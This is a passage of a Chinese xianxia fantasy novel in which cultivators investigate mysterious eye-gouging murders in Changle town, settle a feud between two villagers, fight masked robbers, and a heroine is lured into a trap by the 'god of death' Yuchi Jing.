“长乐镇的城主向我们的求援,掌门便派我与鹤师兄二人前来处理血骷髅头一事。”程舟怡解释。
“原来如此。”和她所想一致。
“城内不安全。”鹤览川插进话头,“余同修若是无事,便早些离开。”
“是啊,余同修,青阳道长尚在闭关,若是你们出事,只怕道长心生杂念。”
余以若心道
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,程师姐就和她人一样单纯无害,她说是什么就信了,不过这也得亏师父宣传得好。但她也不可能真的走,飞升失败,回去也是等死一条。
正不知如何推辞,大鸟不知撞到了什么,捂着脑袋摇摇晃晃走来。
余以若眸光一闪,顺坡道:“无事,我有大鸟傍身,不会怎么样的。”
白衣师兄和紫衣师姐看了看胖得似球的纸鸢,不可置信道:“靠它?”
“师父给的大鸟。”余以若欣喜道:“别看它傻乎乎的,但实力可是很强。”
“若是这般,那便留下吧。”程舟怡放下杯子,敛起异样眸色,“昨晚带回来的水,余同修也喝些吧,不过好似在袁小姐那边。”
“水?是什么?”余以若发问。
程舟怡拍拍她的手,宽慰道,“就是从来客酒家,喝了里头的水可以抵抗……”
“师妹!”鹤览川打断她。
程舟怡缓缓笑道:“无关紧要,她既然也留下,也应该得知这些事。”
又继续说,“自从上个月以来,长乐镇便出现了血骷髅,只要谁家的门上有了那骷髅头,第二日便会无端地死去,死状都是统一的,被挖了眼睛,我们四下调查,
发现是水,喝了水,他们会昏厥过去,而唯有那个酒家的水,至纯洁净,喝了不至于昏厥,也就是可以抵挡得住莫名而来的妖雾。”
“为何独独是那一家?”余以若纳闷。
程舟怡摇了摇头,表示自己也不知道,在旁的鹤览川开口,“想是凶手看到了那处水的奇妙处,所以昨晚才会发动偷袭。”
几人神情正绷得很紧,冷不防屏风后跑来一个人,气喘吁吁道,“仙长,我们城主,城主……”
“袁城主怎么了,慢点说。”
“他……他晕过去了……”话音落下,程舟怡和鹤览川早已夺门而出,余以若见状也匆匆忙忙地跟了上去。
待走至昏厥的袁城主跟前,鹤览川偏头看向程舟怡,“昨日的水可还有。”
程舟怡没回答,余以若借着空档挤过去看了两眼。
这不看不知道,一看吓一跳,袁城主昨日还是和和气气的,身子也是圆滚滚的,挺着大肚腩,笑得很和蔼,可今日明显瘦瘪了下去,就好像一个被放了气的气球,整个人枯槁地昏睡着。
“昨日余下的水我都给了袁小姐。”说话的是程舟怡,她将这句话说完后就出了门。
稍一会儿,她又回来,叹息了一声,“袁小姐把最后一点水浇给了她养的花。”
“什么!”跟在城主身边的人怒遏道,“袁小姐怎么!平日里拈花惹草便罢了,现在紧要关头!”
几人说着说着就闭了嘴,看向几位白衣仙长,倒是这当儿才注意到他们身边的绿衣小姑娘,瞧着瘦瘦弱弱的,只怕是鹤览川的爱慕者,遂看她的时候,眼神里都多了些鄙夷。
余以若不知道他们的鄙夷从哪里来,反倒是默默地退向一旁,心想她一个灵脉受损的,不妨碍他们办正事的好。
倒也不知是否是有意让她融入队伍,鹤览川叫住她,压根不给她拒绝的机会,道:“余同修,我们这里就属你灵力最强。”
意有所指地看向纸鸢,继续说:“我们不便出门,取井水的事,便交由你了。”
大家纷纷把目光移到她身上,万众瞩目的她倒是惹眼得厉害。
“我……”要怎么说她担任不了这差事?肩头上的鸟倒是乐呵,话里话外把它哄得尾巴毛都翘起来,余以若真想寻个机会,把这只鸟拔秃。
“余同修?”
她应到,“好。”
5. 蓝衣女子
长乐镇遭逢昨日的突袭,来来往往的人照常经营着生计,脸上挂着忧色,但不多,想来也是对天玄宗仙长的到来十分信任。
余以若去从来客酒家取完井水时已经是下午,又怕袁城主他们等得着急,便把水壶交给大鸟,让它飞回去,但这鸟说什么也不肯离开。
“我就算安上十几条腿我也跑不回去啊。”余以若叹气道。
大鸟蹦跶两下,翘起脑袋,左耳朵进右耳朵出,根本就不搭理她。
它心道,余以若灵脉受损,连飞也不能飞,刚才要不是它出面,早就被井水里的东西勾去魂了,若再出现什么意外,它可没那么好的心理承受能力,加上这个差事有大部分都是它揣掇的,要是让青阳那家伙发现了,就算没炖成汤,它的漂亮羽毛也保不住。
想到这里,它还心有余悸地看了眼自己的翅膀,明黄璀璨,整条街最靓的鸟当之无愧。
“大鸟,再说,你不先回去,袁城主身子好不了,我们也吃不了兜着走,既然都应下了这个任务,怎么着也得给人家办妥了,师父说……”余以若道,“做人就要讲诚信。”
飞在身侧的大鸟半眯着眼,听她讲道理耳朵都快起茧子,见她作势又来抓自己,它立马飞到她前面去。
过了片刻,没声音了?大鸟狐疑地偏过头去,但见余以若从衣服夹层里翻出了什么东西,举到它眼前,开怀道:“看,我有秘密武器。”
“这是?”大鸟眉心抽了抽,“我的毛?”
余以若收回手以防它抢回去,“对,鸾鸟的羽毛刀枪不入,必要时还能充当护身符,怎么样,我有这个在手,你就放心吧。”把羽毛稳妥地放好,又对上大鸟即将勃然大怒的神情。
余以若心道,这下拔毛有正当借口了,甚好。
“余以若,所以你当时没被捅死是因为我的羽毛?”大鸟没骂她,竟然问起了这个,余以若愣了一下,道:“应该是吧,但……”
有一点她很奇怪,按理来说一根羽毛就只能用一次,但是上次被死神捅了之后,怀里的这根,非但没有半分破裂,就连上头的灵气都只消耗的一点点。
要想知道杀她的可是死神,令修仙界闻风丧胆的尉迟景,那一刀可是下了死手,奇怪就奇怪在这,
若是换成任何一个平平无奇的凡人,抑或是资质不佳的修道之士,羽毛没点裂痕都说得过去,可对方是尉迟景,单凭这点就疑点重重。
正想着,头顶又飘下几根羽毛,紧接着手上一松,大鸟挎起水壶飞在前头,嘱托道:“那你自己多加注意,我就先回去了。”
“好。”余以若朝它挥手,心道,这鸟倒是识大体的,毕竟人家都快把它捧上天了,由它带回去倒是有面子。
看着起起伏伏的明黄身影,余以若一颤,胖得都快飞不起来了。
下午的日头没那么烈,但很容易就口干舌燥,加上走了十几里的路,脚底就跟绑了沙袋般沉重,余以若寻了个看得过去的客栈。
甫一进去,就被扑面而来的水汽蒙住了眼,下一刻,腕骨紧住,身子不由地被拉着倒走,来不及拔剑,耳边就炸开嚎哭,“仙长,仙长,求您为我主持个公道,我娘是被冤枉的,仙长。”
还没回神,脚边似乎又扑过来一个人,应该是女子,“仙长,他恶人先告状,我娘分明就是被他娘杀死的,仙长,求您为我娘讨个说法。”
“等等,你们先放开我。”迷雾渐渐散去,余以若拨开两人,向后撤上几步,冷不防这两人眼疾手快,一把就拽住她的衣角,放也不是,不放也不是。
“仙长,为我娘主持公道,我娘是冤枉的。”左边说话的是男子,皮肤黝黑,穿着褐色的粗布大衣,若是不去看他头顶象征年纪的发包,估计会认为他年纪很大。
“仙长,他分明是恶人先告知,我娘就是被他娘害死的。”右边说话的是女子,眉眼生得很漂亮,含着秋水,一举一动都是楚楚可怜的姿态。
眼见余以若频频朝女子看去,男子坐不住了,生怕她先入为主,高声喊道:“仙长,天玄宗的仙长,她是个骗子,我娘当日分明看见她娘回家了,没有动她娘。”
“不,分明就是你娘,你娘杀了我娘。”女子争辩。
你一句我一句,吵得余以若暗自叫苦不迭,腰间的天玄宗令牌是鹤览川临走时给她的,说什么百姓看了,会自觉地让道,就算去哪都不需要城主手谕,合着惹是生非也是一比一的概率。
见余以若不说话,害怕她为此开罪自己,两人轻轻地扯了扯她的袖口,道:“仙长。”
“嗯,你们分别来说说是怎么一回事。”余以若叹了口气,既然都被认出来了,再怎么推辞也没法,顶的又是天玄宗的名号,若是一不小心抹黑了,大展身手展得太过了,也不能全怪她吧。
思及此,她顿觉有理,轻咳了几声,煞有介事地道:“你们先起来,让我了解下整件事情的起因经过。”
蓝衣女子闻言立马站起来,正要开口,又被褐衣男子打断,“仙长,此处多有不便,人多眼杂,能否随我去我家看看。”
“你家?你让仙长去你家?”女子诧异道,“仙长你可莫要听他的,他满嘴疯言疯语,说不定哪里又设埋伏,一个不小心就保不住命了。”
“你怎么说话的,分明是你恶人先告状,我娘什么都没干,就被你……”男子怒道。
“好了好了,停,先别吵了,既然这里不方便,那我和你们去客栈,寻个包间,可行?”余以若拧拧眉。
女子点头,“自然是好的,仙长可莫要被这人哄骗了。”
余以若笑了笑,正要带两人去客栈,褐衣男子攥着衣角,怯生生地把余以若叫住,“能不能不去客栈,我们就在这说吧。”
“仙长,你看看,他分明就是做贼心虚。”女子指着他,气得哆嗦。
“好,行,你们说说到底发生了什么事?”余以若走到榕树边上,吹了几口气,掏出帕子垫了层才放心坐着。
“是这样的,我娘唤作荷娘,当日和他娘一起去观灯火,明明走的时候还是好好的,等到晚上了,她就没回来了,然后我们去找,什么地方都找过了,都没有找到,相反,他娘倒是好端端地回去了。”
说着说着,蓝衣女子掩面哭了起来,身子一抽一抽的,余以若在她肩头拍了拍,看向褐衣男子道:“你说说你的。”
褐衣男子人长得很粗犷,连说话的声音都十分浑厚带着气势,“我娘没有害你娘。”
话到嘴边却只有这么一句,显然是不够有说服力的,余以若又逮着他们问了几句,得到的口供倒是大差不差,
褐衣男子的娘当日确实和蓝衣女子的娘去观了灯会,但那晚两人都在从来客酒家分别了,此后便不知消息。
原本就觉得从来客酒家不对劲,现在听他们这么一说,就更印证了余以若的猜想,三人二话不说决定去那里看看。
可刚走出几步,角落跳出几个人高马大的蒙面人,玄衣黑发手上持刀,浑身上下散着逼人的戾气,目光落到余以若
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身侧的蓝衣女子身上,开口道:“徐芙蓉,把今日的钱交出来。”
“大人,不要伤害仙长。”蓝衣女子拦在余以若的跟前,颤颤地看着持刀的蒙面人,“大人,求求您放过我们。”
山下的打劫倒是光明正大,连城主的法度都不放在眼里,看他们的样子应该是劫财,一个打得过,一群倒是有些棘手,能息事宁人便不惹事端的好。
余以若把蓝衣女子推开,上前一步,“要多少钱才可以放人。”
为首的蒙面人好似舔了舔唇角,“不多不少,这个数。”明晃晃地露出五根指头。
“好。”余以若把银锭丢到他手中,拉起两人就走。
“站住,我什么时候说你们可以走了?”蒙面人上下掂了掂银子,把手一放。
四下的蒙面人如潮水般涌过来,提刀将她们层层围住。
“你们这是什么意思?”余以若问道,“一手交钱一手放人,你们的规矩就是这么容易破?”
就算对山下的事了解得不通透,但一行有一行的规矩,她也是知道的,只不过,看起来,这群蒙面人似乎别有一套章法,为首的人抬脚一跺,哈哈大笑起来。
不知笑了多久,才停下,先是目光逡巡了几圈,锁定余以若侧旁的褐衣男子,眉眼作势一凛,连连走去将人拉出来,
俯在他耳边悄声说了几句话,说完,褐衣男子便奋不顾身地跑了。
难不成褐衣男子是真凶?余以若心里头有暗暗的疑问,但身侧的蓝衣女子也很可疑,面对目露凶光的歹徒,余以若暂且可以不论,毕竟什么样的妖魔鬼怪她没看见,
但是据蓝衣女子的讲述,家境也是居上等,只不过一年前家道中落,没了以往的胆气,
但余以若却瞧得出,她面对刀剑时,动作很浮夸,眼中却半点惧色也没有,这实在不像是自小养尊处优的小姐做派。
正不解间,天上响起几阵鸢啼,一声接一声,绕在上空盘旋。
“大……大人,你看天上。”困住她们的蒙面人提刀的手明显有些发颤,闪烁不定的眼却让余以若觉得有些虚假,好像是故意做的戏。
下一秒,耳畔掀起一股寒气,‘噗’的一声,冷剑径直没入眼前人的额头,为首的蒙面人就这么直挺挺地倒了下去。
正挟持着两人的蒙面人见老大被杀,一时间也不知道是跑还是杀,乱了阵脚。
“光天化日之下,竟敢明目张胆地劫掠,好大的胆子,将袁城主的法度置若罔闻,实在该杀。”程舟怡着丁香窄袍裙,轻轻跃至余以若身前,三下五除二将人撂翻在地。
看得余以若目瞪口呆,她的剑术收敛了几分,恰到好处地没取几人的性命,
但下手都是果决狠厉,几乎是踩着几人的弱点进攻,丝毫不给他们挣扎的机会,眨眼间便‘哗啦啦’地倒了一地。
“余师妹,你还好吗?”程舟怡收剑入鞘,朝余以若走来。
“还好,他们没对我怎么样。”话音刚落,天上的纸鸢猛冲了下来,凑到她脑袋上,蹭了蹭,咕哝道:“你还活着真是太好了。”
“是啊。”余以若一脸嫌弃地把鸟拽下来,四下看了看,道:“鹤同修呢?袁城主把水喝下了吗?”
“嗯,已经喝下了。”程舟怡答道,目光掠了几圈,落到徐芙蓉的身上,问道:“你是?”
“她唤作徐芙蓉,是长乐镇的居民,还有另一个人,他们的娘……”话到一半,前方边走边喊,“姑娘,余姑娘,你们还好吗?”
6. 苍阳山
目光所及不远处,褐衣男子拖着柄带血的长刀朝他们走来,程舟怡率先拦下他,呵道:“自觉回去,我尚能饶你一条命。”
‘哐当’一声,长刀掉到地上,褐衣男子显然是被吓到了,屈起手试图挪开脖上的剑。
“把人带回去。”程舟怡把剑往里送上几寸,看向倒了一地的蒙面人,凶狠道:“否则,我连你一块杀。”
“诶,程师姐,师姐,他是好人,他没有杀人,不是和他们一伙的。”余以若跑过去,抓着她手中的剑往外挪。
褐衣少年点点头,挠着后颈,眼睛直往鞋面瞟,“我叫凌常白,想必你就是程师姐了吧。”
程舟怡半信半疑地收回剑,移开眼,冷冷地‘嗯’了声。
见气氛缓和了些,余以若便拽程舟怡,把徐芙蓉和凌常白的事原原本本地再细细地同她说了一番,说完还询问她的意见,原以为她会不同意,没想到径直应了下来。
还开口让凌常白同她们一道回去,余以若倒是纳闷,但瞧着他们走的方向似乎不是回袁府的路,问了几遍也没回答,索性跟着程师姐走着。
……
同余以若告别后,徐芙蓉早早地回了家,太阳眼看就要落山,风也越来越急。
一片被风带起的叶子滚到蒙面人的眼睛上,昏睡的人本能想抬手,奈何手跟灌了铅似的,无论他怎么动,叶子仍旧挑逗着他的眼睛,刺痒得难受。
猝地,似乎想起了什么,眼睛猛地睁开,缓了下神,无措地看向倒在地上的同伴,讷讷道:“我这是在……”
下一秒,冷剑贴脸刺来,‘砰’的一声,赤色剑矢斜斜入土消散,蒙面人心头咯噔一跳,爬到红袍少年的脚下,重重地一顿,“大人……我们被偷袭了。”
“嗯。”头顶落下不轻不重的一个字眼,蒙面人大着胆子去看他的神情,按照死神以往的性子,他们把事办成这个样,早就没命了,可现在,死神竟然掠过他,往侧旁走去。
“把这群废物拖回去。”尉迟景道。
“天玄宗的掌门之女程舟怡下的手,只怕会将人查到我们头上,这些废物把事情搞砸了,要不如就。”玄衣人用手在脖子上比了比。
尉迟景看了他一眼,冷道:“谁说他们办砸了?”
“没有吗?”玄衣人愣怔了下,不是说好将那个扶光宗的丫头绑走吗?若不是因为他们在别处耽搁了,此时那人早已是他们的囊中之物。
只不过,他捏了把汗,那个姑娘命还真是大,被死神杀了竟然没死。
尉迟景不动声色开口,“风信,你话有点多了。”
唤作风信的玄衣人一顿,抱拳的手不可察地有些颤,抿着唇一言不发。
“飞穆呢?回来了吗?”尉迟景跃上墙头,往远处眺了眺,若有所思道:“计划进行得还不错。”
“暂未,还需要些时日。”
“好。”
说罢,纵身一跃,朝落日奔去了。
“大人,大人,主上这是?”蒙面人瑟瑟地爬过来,仍旧是不相信自己的耳朵。
风信觑了他一眼,拍开他欲图靠过来的手,道:“主上大发慈悲,你就感恩戴德吧。”望着远处渐渐沉下去的日头,隐隐约约有不好的预感。
……
余以若三人一鸟走的走,飞的飞,赶在日落前总算到了目的地,不过,愣是余以若怎么想都没想到,竟然是苍阳山乱葬岗?
“程师姐,你若是怕了,可以抓着我,我是男子,鬼祟不敢作乱的。”凌常白走到程舟怡边上,撸起袖口,亮出两只白花花的臂。
跟在后面的余以若带着不解瞥了眼凌常白,又瞥了眼高他一个脑袋的程舟怡,心道,他这是准备保护谁?
“不必。”程舟怡摆手,又将余以若叫上来,丢给她一个小瓶子,嘱咐道:“把这个瓶子装满,我们就回去。”
“装满?”余以若一怔,不确定地指了指四仰八叉,分散在地的残肢,“他们的尸体?”
程舟怡已经走在了最前头,身后屁颠屁颠跟着凌常白,两人说了句什么话,倒是没有理余以若。
“师姐,这个?”余以若走到她面前,正要问,就见凌常白像个大傻子似的,扑到尸体堆上,一用力,将地下的尸体抽了出来。
登时,堆成小山的尸体塌了下来,恶臭冲鼻,余以若实在是受不了了,回头一望,大鸟嘎巴嘎巴着喙,咕嘟嘟的白沫冒了出来。
“余师妹,将这个装进瓶子里去。”程舟怡捏着鼻子指了指泛着恶臭的伤口,流出的污秽物也不知道是脓还是什么。
余以若心里是很抗拒的,偏生凌常白还一脸乐呵,拖尸体拖得不亦乐乎,两人看向她,又看了看她手中捏紧的瓶子,似乎在朝她招手。
几人就这么奋战到深夜,乌鸦都不知道叫了多少声,几人才直起腰,叹了声:“累啊。”
“这么多够了。”程舟怡借着月色晃了晃瓷瓶,扭头对两人道:“既然来了,我们替他们敛个尸吧。”
“哈?”余以若讶然。
还真是好轮回,刚来的那日借口就是替好友的好友敛尸,这还真敛上了,虽然用的是大鸟的灵力,轻松许多,但是着实累得够呛,
连尉迟景的面也没见上多少,此人还捅了她一刀,想想就可恶至极,但最令她忧心的还是怎么带着尉迟景去阎罗殿,把这误判走的功德给她划回来。
就这么想着,不一会儿便为这些横死的逝者修了个大大的坟茔,高高拢起的土丘歇息的大都都是外乡人,
长乐镇民风淳朴,加上经济流通好,时不时有人来做生意,但最近血骷髅头一事,害得这群人都无端丧命,连个替他们敛尸的都没,这么想他们也算做了件好事。
回到袁府已经过了丑时,余以若把浑身上下搓了几遍才安心睡觉,兴许是太累了,竟一觉睡到了第二天傍晚。
休息够了,脑子也清醒,她自下了床到吃完饭,总感觉自己好似遗漏了什么东西,可无论她怎么想都想不通是丢了什么。
凌常白路过她的院子,见她一人站在树下发愣,思忖了下,还是迈着步
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子进去,“余师姐?余师姐?”
接连喊了几声,余以若才回过神,见到他也是一愣,问:“你怎么在这?”
凌常白挠了挠后颈,低声道:“是程师姐叫我来的。”
“哦。”余以若点头,竟没想到程舟怡会同意,倒是和她听来的传闻,相差得不是一般的大,等等,她又问道:“你叫她程师姐?”
“是,程师姐说天玄宗就缺我这样的弟子,所以收我做师弟了。”凌常白兴奋地把腰间的令牌解下来,递到余以若眼前。
余以若半信半疑地拿起,端详了几番,甫一翻面,便被上头的大字惊住了。
凌常白见她不说话,心道,鹤览川师兄给的玉佩莫不是有什么问题?连连走去将她摇醒,焦急地问:“师姐,可是出了什么事?”
“这玉佩是谁给你的?”余以若拎起令牌质问道。
就算余以若傻,也分明看得出来扶光宗三个大字,分明就是把他收作了扶光宗的弟子,而且,她又仔仔细细地看了几眼,这熟悉的圆润的手感,不是她的玉佩吗?
凌常白也被她这副模样吓住了,讷讷地站着,许久才憋出五个字,“鹤览川师兄。”
话音刚落,余以若就把人拉到了鹤览川的屋子,此时他们围在一起,应该是在研究昨日带回来的东西,不过,余以若才不管那么多,径直站到他面前,
问道:“鹤师兄,你将我的玉佩给他又是什么意思,你的玉佩我可是完好如初地还给你了。”
鹤览川收回掌心的灵力,把瓶子放到一边,看向她,“我知道。”
“你知道你还把我的令牌给他?”
他摇了摇头,从榻子上下来,进到里屋翻了一通,出来时,手上已经拎上了块更大,做工更好的令牌,交到余以若的掌心,“这个是你的。”
“我的?”余以若诧异地打量了下,上头赫然雕刻的鸾鸟青峰差点没让她吓出心脏病来,颤颤巍巍地道:“你哪偷来我师父的令牌?”
这可是掌门人的令牌,若不是瞧着鹤览川腰间不对称的黑剑和白鞘,她真会怀疑鹤览川被夺舍了。
“这个弟子是你师父要收的,同我无关,我只是代为转达。”
“我师父?”余以若跟上他,惊喜道:“你见到我师父了,他怎么样,他老人家可好,什么时候回来,为什么要收凌常白,要知道他可是……可是。”
“可是什么?”鹤览川顿下步子,没回头,淡淡地问道。
白衣男子身姿挺拔修长,站在门口挡住了透进来的光,不知为何,余以若对这个人有种本能的惧怕,倒也不是对天玄宗这个第一修仙门派的人胆怯,
就是对这个人,好似他身上发生了不得已的事情般,每每被他这么一问,都说不出话来,而且,他的剑鞘一看就是和剑不匹配,却为何要整日带在身上。
还没来得及把过往从师父口里听来的八卦揪出来,眼前的白衣男子转过身来,冷冷地看着她,“你师父一切安好。”
“你……是在哪里看见我师父的?”
7. 中计
青阳道长消失三年,谁也不清楚他究竟去了哪,就连几个内门弟子都是瞒着,如今竟从鹤览川口中听到,余以若心中生出的欣喜过后,更多的是担忧。
“这不是应该问你们吗?”
余以若一怔,东州大陆本就门派众多,而真正能称得上正规门派记录在册的少之又少,倘若一个宗派没了掌门坐镇,等待他们的随时是灭宗派从而取而代之。
情急之下,口无遮拦地问了这么多,他定然是瞧出了端倪。
似看出她的担忧,鹤览川道:“余同修,我们天玄宗向来没有恃强凌弱的爱好。”
在旁的程舟怡察觉到气氛不对劲,放下手中的瓷瓶走了过来,“青阳道长收下这个徒儿自然是有他的道理,余同修放宽心吧。”
“可是……”余以若收起掌门令牌,看了眼站在一旁的凌常白,此人和另一人牵扯的命案还没有着落,师父就这么收了他当徒弟,会不会太草率了些。
就这么想着,门外匆匆忙忙响起了几阵脚步声,几人探出脑袋去看。
昨日的水,送回来得及时,袁城主瘦瘪的身子“嘭”的一下,又圆润了,“蹬蹬蹬”地朝他们奔来,连肚子上脸上的赘肉都一颤一颤的,看起来滑稽又喜庆,倒是他身后跟来的姑娘,瞧着有些眼熟。
“鹤仙长。”袁城主揩了把额头的汗,环视了圈,见几人齐刷刷地都在,笑道:“余仙长,程仙长。”
估计也是听闻了他这条命是余以若救回来的,遂唤她的时候,语调都恭敬了许多,倒是有些让余以若受宠若惊,忙问道:“城主这是?”
“仙长,昨日又死了几人。”袁城主悲戚道,“这下可如何是好,原本晚上被杀,现在连白天,青天白日的,他们就在眼皮子底下动手。”
“城内的守卫可有加强?”
“都昏过去了。”袁城主眉头紧锁,“等我们的人一到才发现他们,但还好性命没丢。”
“白天动手?”程舟怡思忖片刻,退出几人的视线,折身回了里屋。
“那这个姑娘是?”余以若看向他身旁的徐芙蓉。
紧皱的眉头松开,袁城主赶忙将人推到几人的面前,“徐家的姑娘,她爹和我是旧相识了,奈何不幸啊,自上年去世后,家道一直走下坡路,直到上月,她娘也走了,
我瞧着她可怜,便将她带了回来,想让几位仙长看看,有没有那种能起死回身的术法,让她见见她的娘亲,问问歹人是谁?”
起死回生?余以若想也不想道:“没有。”
闻言,鹤览川手不自觉地一紧。
“没有啊。”袁城主惋惜道,“那能不能给她看看,替她讨个说法。”
大抵是觉得赏金本就不多,让他们下山处理血骷髅一事就已是卖了他很大的情面了,现无端地又拉着他们替人断案,心下有些涩,连声音都弱了几分。
就这当儿,身后传来凌常白的声音,“讨什么公道,什么说法?莫须有的罪名扣在我娘头上,就凭你有袁城主这个靠山吗?无论如何,我只有一句话,我娘什么都没干,就是被冤枉的。”
“冤枉?杀人犯自然不会承认自己的所作所为,况且,为何当日的灯会那么多人去了,你娘偏偏要将我娘拉去,和她一道回来。”徐芙蓉见他从屏风后走出,咬了咬唇。
“你娘本就失心疯,谁知道是不是自己失足掉到了不该掉的地方。”褐衣男子气得脸色涨红。
“哼。”徐芙蓉弯了弯唇,“如果不是你娘,为何回来之后便从未出过门了,分明是做贼心虚,况且,你娘没死前,你就半夜偷偷给她烧纸钱,你是巴不得她早死吧。”
“你……你调查我?”
“就你家穷得都揭不开锅了,冒点烟气谁看不出来。”徐芙蓉鄙夷地瞥了他一眼。
凌常白正要开口,身后传来冷冷的一声呵,“口说无凭,此事先搁置,城里更棘手的在这。”
众人循着声音看去,但见走出来的紫衣女子捏着瓷瓶,正是昨日收集到的液体,“从来客的井水要多加守卫。”程舟怡看向袁城主,“将井水洒到城内各处,注意边边角角也不要遗落了,我推测,凶手不止一个。”
说罢,几人倒吸一口凉气,尤其是鹤览川和程舟怡,他们来得早,自然明白现今是什么情况,平常应邀处理的案子,捉拿的妖物,不过三四天便能降伏归山,
可如今他们在城内待了有半月余,除了查出从来客酒家的水有独特处外,凶手的影子是半点都没见着,更别说千防万防下凶手还在不断作案。
“是。近几日仙长也要多加小心。”袁城主牵起袖子,又揩了把汗,“还有我的小女,各位仙长多加照看。”
袁小姐?说起来余以若极少见到这个人,多半是从他们口中听来,袁城主膝下就仅有这么一个独女,娇宠得很,
吃穿用度都快赶上掌门人的规格,性子也很洒脱,敢爱敢恨,就平日里喜好拈花惹草这点不好。
“自然,袁小姐的屋子,我们皆贴上了符咒,妖物靠近不了。”鹤览川道。
“那就好,那就好。”袁城主缓口气,袖口被人轻轻地扯了下,他一抬头,对上徐芙蓉委屈的眼,心底的柔软蔓开,收回脚步,看向几人,“这位徐姑娘的事,诸位仙长能否帮个忙?”
“当然。”余以若应下,毕竟此事关乎凌常白,被师父新收的弟子。
“那就这么说定了。”城主摸了摸肚腩,转头对徐芙蓉道:“家里不安全,就在这里城主府里住吧。”
“嗯。”徐芙蓉点头,“小女在此谢过城主,各位仙长。”
袁城主点点头,刚迈出几步,忽而回头道:“你兄长还未回来吗?要不让他一起过来住。”
徐芙蓉扬着笑的脸一僵,“他出门在外,极少和我联系。”
也不知道袁城主是听到还是没听到,自顾地走了,府内又多添了个人,连吃饭都更加热闹。
倒是余以若和他们吃了几餐饭,也没见到袁小姐的一面,都是丫鬟单独敛开饭菜,送进去的。
“你们小姐为什么不出来和我们大家一起吃?”余以若一吃完,就来蹲人,恰好运气不错,过了不久,端着食盒的丫鬟就来了。
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长乐镇的人身子骨长得都偏高,余以若一杵在她面前,还有些气势不足,倒是丫鬟也明白眼前的人是什么身份,将头放低了些,讷讷地摇头:“不知。”
“是真不知还是假不知,城主可发话了,让我们随便问,毕竟这事可是事关你们的安危,稍有不慎都是会被挖眼睛的。”
余以若说得像模像样,抑扬顿挫加上天色大黑,比划两下,还真有恐怖的气氛,丫鬟受不住,在接二连三的逼问下也就抖了出来。
“我们小姐是被老爷禁足了,不让她出来见仙长,恐玷污了仙长。”
“为何要禁足她?”余以若不明白,看袁城主宝贝得很这个女儿,对他们也是很恭敬,没道理不让自己的女儿结交天玄宗的人,毕竟若是能出一个修道的人,那可是祖上莫大的荣耀。
丫鬟摇摇头,也不知是不知道还是不敢说,看她抖得肩头发瑟的模样,余以若心有不忍,索性放了她走。
问也问不出什么,余以若迈开步子,没什么事打算回房,走着走着,总觉得,四周静得太异常了,唯有一两点风滑过树叶的声音,萧瑟的,带着冷意。
手下意识地握上剑柄,就在拐角处,远处高檐上飞掠过几道身影,速度之快连檐角的鸟兽也没惊呵,就这么旁若无人地从一角跃上另一角,堪堪直往袁府西面方向奔去。
余以若心头咯噔一跳,难道是凶手?而且他去的是西面,自打上次被袭击,城主便有意换了个卧房?
若是城主死了,城内群龙无首,顷刻间便会乱作一锅粥,此人定然是瞄准了这个念头去的。
二话不说,她追了上去,袁城主在这个紧要关头出事,于城内的百姓而言,简直就是灭顶之灾,她灵脉纵然受损,可简单的轻功也是能使得出来的。
不过,余以若觉得好生奇怪,黑衣人的身手瞧着不像是能被她追上,但她偏偏追上了,“铮”的一声,两柄寒剑交接,黑衣人露着一双凌厉的眼,死死地盯着她。
“你是谁?”余以若借力将人格挡回去,未等到他的回答,“哐当”的几声,他的剑滚了下去。
嘈杂过后,月夜复归一片寂静。
黑衣人立马抽脚逃走,余以若收回剑跟了上去,他的速度很快,但时不时步子又会慢下来,瞧着应是不太熟练,做杀手明显技术有些拙劣。
风呼啦呼啦地灌到耳朵,似乎把脑子也吹得清醒了几分。
等等!拙劣?为何左看右看像是故意为之呢?拙劣得太过就会露出刻意的马脚。
再加上刚才他的剑滚落在城主房门口,没有声音,连一点都没有,就好像是四下都昏死了一般。
自白日程舟怡师姐嘱咐后,袁城主非但安插了许多守卫在从来客酒家,就连自个的卧房也是安排得满满当当的,怎会连一点动静也没有。
外加,余以若不确定地慢下步子,自己追的黑衣人早已偏离了方向,这又是哪?
呆怔怔地刹住了脚,可以肯定的是,她中计了!
“修仙界的人果真还是一样的蠢,半点差别也没。”不耐的声音自暗夜中响起。
8. 法阵
星月疏朗,林中阴云密盖,红袍飞得张扬,穿过倾泻下来的月色,朝余以若看来,“还活着?命还挺硬朗。”
“你是尉迟景?你将我骗来有何目的。”余以若退后几步,拔出剑。
“目的?”倚靠着树干的少年直起身子,视线落到她的剑刃上,讥讽道:“你的目的呢?一次不成还来第二次吗?”
“我不明白。”
少年轻笑道:“看似道貌岸然的修仙门派,倒是和阴沟里的老鼠相差无二。”
尉迟景好歹也有过在天玄宗修道的一段经历,如此大言不惭地将修仙门派唾骂成这样,和骂自己有什么区别,
余以若好笑道:“拐弯抹角骂自己,怪少见的。”
躲在暗处的风信暗暗抽出几缕灵力,看向余以若身后的地方,一簇极小的金光在无人注意的角落渐渐升起。
“上次一时失手,诚然是我情非得已,眼下看来,死神大人也不想听我解释,毕竟大人就算被我捅了一刀,也活得好好的,只不过,大人如今是人抑或是鬼?”余以若握紧剑,怔怔地看向他。
走着的脚步一顿,冷恻恻开口,“绿衣同修?”
“余以若。”
“绿衣同修。”他挑眉,“修仙界的人不仅功法差,人也蠢得出奇,你睁大眼睛看看,升格为神,是人还是鬼,毕竟……”
话锋一转,恶寒地看向她,“以后就没这个机会了。”
“什么?没机会了?”余以若心头一颤,抬起头,对上他欺过来的眼,“若是大人确实太过在意自己的威名有损,亦或是害怕活不久,我可以给你这些以作补偿,拿来保命也是可以的。”
说罢,就在乾坤袋里翻出玄铁寒冰剑,炎阳宝光珠,通灵碧利符箓等诸如此类的极品灵器,通通递到他的面前,
正色道:“这些都是我多年来储存的宝贝,你拿走,此后便一笔勾销,你过你的独木桥,我走我的阳关道。”
平日里这些宝贝她都不舍得拿出来,每日都要拿出来擦一擦,现今交给他当作精神损失费,换个升仙的机会,倒也值得。
惋惜地看完最后一眼,继续道:“死神大人大人不记小人过,看在我这么有诚意的份上,你便收下,若还需要我帮忙的你尽管开口,而且,若是大人能够不计前嫌,今晚的事,我也不会说出去一个字,这点你大可放心。”
“灵器?”尉迟景眉头微蹙。
余以若点头,“自然,都是上好的灵器。”
都说尉迟景凶狠无情,倒也不尽然,果真传闻都是不可信的,看他无动于衷的样子,应该是不好意思,
余以若宽心道:“大人尽管收下,一些灵器而已不成敬意的,近几日还望大人多加注意不要到处走动,以免惹人误会。”
毕竟现今在处理血骷髅一事,愣谁看到死神在这,都难免不会多想。
